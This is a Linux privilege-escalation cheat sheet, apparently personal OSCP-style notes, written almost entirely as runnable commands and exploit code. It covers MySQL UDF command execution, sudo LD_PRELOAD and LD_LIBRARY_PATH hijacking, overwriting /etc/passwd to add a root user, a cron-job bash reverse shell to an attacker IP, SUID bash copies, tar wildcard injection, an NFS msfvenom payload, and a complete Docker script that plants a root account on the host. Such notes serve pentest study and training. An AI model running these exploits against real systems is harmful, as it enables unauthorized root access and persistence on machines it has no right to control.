Linux PrivEsc
Here is a resource of some privilege escalation paths I have either read about or come across.
MySQL Service
If the MySQL service is being run by root and the "root" user's password for the service is known or null, you can take advantage of User Defined Functions (UDFs).
https://github.com/0xdea/exploits/tree/master/mysql
Compile the raptor_udf.c:
gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Connect to mysql as the root user (not system root):
mysql -u root
Execute the following:
use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
Use the created function to copy the
/bin/bash
to/tmp/rootbash
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
Exit out of the mysql shell
exit
Run the rootbash
tmp/rootbash whoami
Readable /etc/shadow
Check if you have read permissions on
/etc/passwd
ls -l /etc/shadow
If you do copy the encrypted password and try to crack it with John or Hashcat
Writable /etc/shadow
Check if you have write access to
/etc/shadow
ls -l /etc/shadow
If you do, edit the shadow file to either add a user or change a user's password
mkpasswd -m sha-512 newpasswd
Change the password field in the
/etc/shadow
file
Writable /etc/passwd
Check the permissions to see if you have write access to
/etc/passwd
ls -l /etc/passwd
Duplicate the root line and paste it at the bottom changing the username.
newroot:x:0:0:root:/root:/bin/bash
Create a password
openssl passwd <newpassword>
Switch to the new user
su newroot
Sudo - GTFO Bins
Get a list of programs that the user can run as sudo
sudo -l
Check that list on GTFO Bins
Some programs may not be on GTFO Bins. That does not mean they cannot be used to escalate privileges. Think about how they are used and consider running strace on them.
Sudo - Environment Variables
Sudo can be configured to inherit environment variables from the user's environment.
Check for inherited env variables env_keep+=< env variable >
sudo -l
LD_PRELOAD and LD_LIBRARY_PATH are both interesting variables
LD_PRELOAD
Loads a shared object before any others when a program is run
LD_LIBRARY_PATH
Provides a list of directories where shared libraries are searched for first
LD_PRELOAD Exploit
Create a c program:
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); }
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
This can be compiled and put in the preload variable while running a sudoable program:
sudo LD_PRELOAD=<path/to/your executable> <sudoable program>
LD_LIBRARY_PATH Exploit
Check what shared libraries are used by a target program (one you can sudo with or has a SUID):
ldd <path to program>
Create a shared object with the same name as one of the listed libraries:
#include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); }
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
Set the LD_LIBRARY_PATH variable when you run a sudoable program
sudo LD_LIBRARY_PATH=<path/to/shared/object> <sudoable program>
Note: you only want the path not the shared object name in the variable.
Cron Jobs - File Permissions
The system-wide crontab is located at /etc/crontab
. User crontabs may be found /var/spool/cron/
View the system-wide crontab:
cat /etc/crontab
Check the permissions on any scripts or executables that may be running as a cron job:
ls -l <path/to/file>
If it is a shell script you can replace it with:
#!/bin/bash bash -i >& /dev/tcp/<your IP>/<your port> 0>&1
Then start a listener on the attacker machine and wait for the script to be ran
Cron Jobs - PATH Environment Variable
View the crontab
cat /etc/crontab
The crontab file may define its own PATH and SHELL variables
You may be able to hijack a script or executable that a cron job calls if you can write to a location higher on the PATH variable than where that script lives and if the script is not called with a full path.
Put your script or executable in the path so it will get ran by the crontab
SUID/SGID Executable
Find all SUID/SGID executables:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
You can check these with GTFO Bins
If you cannot find what you need in GTFO Bins check them for known vulnerabilities.
If there is a script that can be manipulated or you are able to create a script you can try copying /bin/bash and setting the SUID bit.
cp /bin/bash /tmp
chmod u+s /tmp/bash
/tmp/bash -p
Shared Object Injection
If a program has SUID or SGID or running as a cron job as a privileged user, use the strace
command to search for missing objects that are referenced by an executable.
strace <path/to/executable> 2>&1 | grep -iE "wait|open|access|no such file"
The wait command waits for a process to complete. If the process is not fully qualified, you may be able to path hijack the process.
Look for an object that attempts to get loaded in a location you may have permissions to.
Create a malicious file with the name and type it is expecting and put it in the directory it is looking for it in.
You can also use
ltrace
It may not provide all the same output.
Executable Using Environment Variables
If a program has SUID or SGID or running as a cron job as a privileged user, you may want to run strings on it or decompile it to see if it is trying to use your environment variables to launch an executable.
For example: maybe the program is trying to launch apache2 like this:
service apache2 start
In this case, the full path to the service is not being used therefore the program is using your PATH variable to locate the service. Create a malicious program with the name of the service trying to be executed and put it at the beginning of your path to get it to run.
An example C program could be:
int main() {
setuid(0);
system("/bin/bash -p");
}
compile as service
gcc -o service /home/user/tools/suid/service.c
Add location to path
PATH=.:$PATH
Run the program or wait for the program to run
Abusing Shell Function Names as File Paths
Always know what version of shell or any other program you have access to or are running!
In Bash versions <4.2-048, it is possible to define shell functions with names that resemble file paths. These functions can be exported so that they will be used instead of the intended executable in the path.
If an executable has SUID/GUID set or being ran by a privileged user, you can get a bash function to run as that user.
For example: the SUID/SGID program attempts to start /usr/sbin/service
You can create the following function and it will attempt to use it before going to the file location and using the executable.
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
Remember to export the function otherwise it will not be accessible outside of the current shell it was defined in.
Abusing Shell Features Debug Mode
In Bash version < 4.4, when in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.
You can set the PS4 variable to have an embedded command that will run as root if the program being debugged has SUID/SGID permission set.
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' <path/to/SUID/SGID executable>
Passwords & Keys - History Files
The .*history
files may contain passwords if the user accidentally typed his or her password in the command line instead of a password prompt.
cat ~/.*history | less
Config Files
Config files often contain passwords in plaintext or other reversible formats.
Common locations for config files:
Home directories
/etc
Look at config files to see if it contains any usernames and or passwords or references to files that may contain them.
SSH Keys
Sometimes backups are created and are not secured. Peer around for backup files and make sure to look for hidden files as well. Some believe in security through obscurity.
Occasionally, users will create a copy of a sensitive file and store it somewhere else where they can easily retrieve it. Often, when this happens, the permissions on the copied file is changed to a less restrictive permission set.
For example: you find a copy of the .ssh folder which has the users private key which you can use to authenticate as them.
If an ssh key is password protected, you can use ssh2john to create a hash that can be brute forced.
ls -la <path>
If you find an insecure private key, you can try:
ssh -i <path/to/private/key> <user>@localhost
NFS
Files created via NFS inherit the remote user's ID. If the user is root, and no_root_squash is set, the ID will instead be set to the "nobody" user.
Check the NFS share configuration on the Debian VM:
cat /etc/exports
On the attacker machine switch to root if you are not already
su root
Create a mountpoint on your attacker machine and mount the /tmp share
mkdir /tmp/nfs mount -o rw,vers=2 <target IP>:/tmp /tmp/nfs
Generate a payload to be saved to the newly mounted location:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
Make it executable with suid
chmod +xs /tmp/nfs/shell.elf
Run it from the target machine.
Wildcard PrivEsc - Tar
If tar is being ran with the wildcard '*' as a user with higher privileges than you and you can write to the directory that tar is being ran in, you can create files with specially crafted file names to execute a command as that user.
Create special crafted files that will add the option '--checkpoint=1' and '--checkpoint-action=exe='
touch /<path/to/backup/> --checkpoint=1
touch /<path/to/backup/> --checkpoint-action=exec=<executable file>
Kernel Exploits
Kernel exploits should only be ran as a last ditch effort as they could crash the system or worse.
The Linux Exploit Suggester 2 tool can identify potential kernel exploits on the target:
perl linux-exploit-suggester-2.pl
You will have to research any kernel exploits suggested.
Docker
Check if you are in a docker container
cat /proc/self/cgroup | grep docker
From Wikipedia:
The cgroup is a Linux kernel feature that limits, accounts for, and isolates the resource usage of a collection of processes.
From manpages:
Control groups, usually referred to as cgroups, are a Linux kernel feature which allow processes to be organized into hierarchical groups whose usage of various types of resources can then be limited and monitored. The kernel's cgroup interface is provided through a pseudo-filesystem called cgroupfs. Grouping is implemented in the core cgroup kernel code, while resource tracking and limits are implemented in a set of per-resource-type subsystems (memory, CPU, and so on).
Here is a really good site that walks you through a docker privesc scenario.
Docker Privesc | Privilege escalation in Docker (flast101.github.io)
The basic gist is that docker allows you to mount a host directory into the docker container. If the user is in the docker group or otherwise has permissions to run docker, that user can mount the root directory and have root access to all files on that system. This includes write access to /etc/passwd and /etc/shadow.
docker run -tid -v /:/mnt/ --name man715 alpine
If you create a new user in the "new" file and cat it to the /etc/passwd of the host, you have yourself a new user you can su
to.
openssl passwd -1 -salt mysalt P@ssw0rd
$1$mysalt$LSxioYd1q6Rl2LG.3IXwm/
echo 'man715:$1$mysalt$LSxioYd1q6Rl2LG.3IXwm/:0:0:root:/root:/bin/bash' > /mnt/tmp/new
docker exec -ti man715 sh -c "cat /mnt/tmp/new >> /mnt/etc/passwd"
Here is a script copied from the link above:
#!/bin/bash
docker_test=$( docker ps | grep "CONTAINER ID" | cut -d " " -f 1-2 )
if [ $(id -u) -eq 0 ]; then
echo "The user islready root. Have fun ;-)"
exit
elif [ "$docker_test" == "CONTAINER ID" ]; then
echo 'Please write down your new root credentials.'
read -p 'Choose a root user name: ' rootname
read -s -p 'Choose a root password: ' passw
hpass=$(openssl passwd -1 -salt mysalt $passw)
echo -e "$rootname:$hpass:0:0:root:/root:/bin/bash" > new_account
mv new_account /tmp/new_account
docker run -tid -v /:/mnt/ --name flast101.github.io alpine # CHANGE THIS IF NEEDED
docker exec -ti flast101.github.io sh -c "cat /mnt/tmp/new_account >> /mnt/etc/passwd"
sleep 1; echo '...'
echo 'Success! Root user ready. Enter your password to login as root:'
docker rm -f flast101.github.io
docker image rm alpine
rm /tmp/new_account
su $rootname
else echo "Your account does not have permission to execute docker or docker is not running, aborting..."
exit
fi
Privilege Escalation Scripts
https://github.com/rebootuser/LinEnum https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS https://github.com/diego-treitos/linux-smart-enumeration https://github.com/jondonas/linux-exploit-suggester-2
Mind Map
Here is a flow chart created by C0nd4: https://github.com/C0nd4/OSCP-Priv-Esc. When stuck, this is a good reminder of what to look at and what to look for.
Resources
Last updated
Was this helpful?